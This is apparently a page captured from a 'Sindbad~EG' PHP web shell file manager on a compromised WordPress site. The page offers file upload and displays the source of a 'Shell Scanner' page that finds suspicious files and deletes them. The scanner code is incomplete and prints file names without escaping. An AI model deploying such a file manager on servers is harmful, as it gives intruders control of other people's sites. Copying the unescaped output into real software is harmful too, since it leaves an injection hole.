Sindbad~EG File Manager

Current Path : /var/www/html/wordpress_alg24news/
Upload File :
Current File : /var/www/html/wordpress_alg24news/scan-allll.php


<!DOCTYPE html>
<html>
<head>
    <title>Shell Scanner</title>
    <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/4.5.2/css/bootstrap.min.css">
    <script>
    function toggle(source) {
        checkboxes = document.querySelectorAll('.checkbox-pattern');
        for (var i = 0, n = checkboxes.length; i < n; i++) {
            checkboxes[i].checked = source.checked;
        }
    }

    function toggleResults(source) {
        checkboxes = document.querySelectorAll('.checkbox-result');
        for (var i = 0, n = checkboxes.length; i < n; i++) {
            checkboxes[i].checked = source.checked;
        }
    }
    </script>
    <style>
        body { font-family: Tahoma; color: #CCCCCC; background-color: #000000; font-size: 11px; font-weight: bold; }
        a:link, a:visited, a:hover { color: #ccff99; text-decoration: none; }
        .highlight { background-color: #FF0000; } /* Red highlight for rows */
    </style>
</head>
<body>
    <center><br><h1 style="color:#339900; font-size: 24px;">Shell Scanner</h1></center><br>

    <form method="post" action="<?php echo htmlspecialchars($_SERVER["PHP_SELF"]); ?>">
        <div>
            <h2>Select Patterns to Scan:</h2>
            <input type="checkbox" onclick="toggle(this);" /><b>Select All Patterns</b><br/>
            <?php foreach ($patterns as $pattern): ?>
                <label>
                    <input type="checkbox" name="patterns[]" value="<?= htmlspecialchars($pattern) ?>" class="checkbox-pattern">
                    <?= htmlspecialchars($pattern) ?>
                </label><br>
            <?php endforeach; ?>
            <input type="submit" name="Submit" value="Start Scan">
        </div>
    </form>

    <?php if (!empty($scanResults)): ?><br>
        <form method="post" action="">
            <input type="checkbox" onclick="toggleResults(this);" /><b>Select All Results</b><br/>
            <table class="table table-dark">
                <thead>
                    <tr>
                        <th>Select</th>
                        <th>File</th>
                        <th>Patterns Found</th>
                    </tr>
                </thead>
                <tbody>
                    <?php foreach ($scanResults as $file => $foundPatterns): ?>
                        <tr class="<?= count(array_unique($foundPatterns)) >= 2 ? 'highlight' : '' ?>">
                            <td><input type="checkbox" name="delete[]" value="<?= $file ?>" class="checkbox-result"></td>
                            <td><a href="?view=<?= urlencode($file) ?>" target="_blank"><?= htmlspecialchars($file) ?></a></td>
                            <td><?= implode(', ', array_unique($foundPatterns)) ?></td>
                        </tr>
                    <?php endforeach; ?>
                </tbody>
            </table>
            <button type="submit" onclick="return confirm('Are you sure you want to delete the selected files?');">Delete Selected Files</button>
        </form>
    <?php endif; ?>

    <hr width="300">
    <script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.16.0/umd/popper.min.js"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/4.5.2/js/bootstrap.min.js"></script>
</body>
</html>

Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists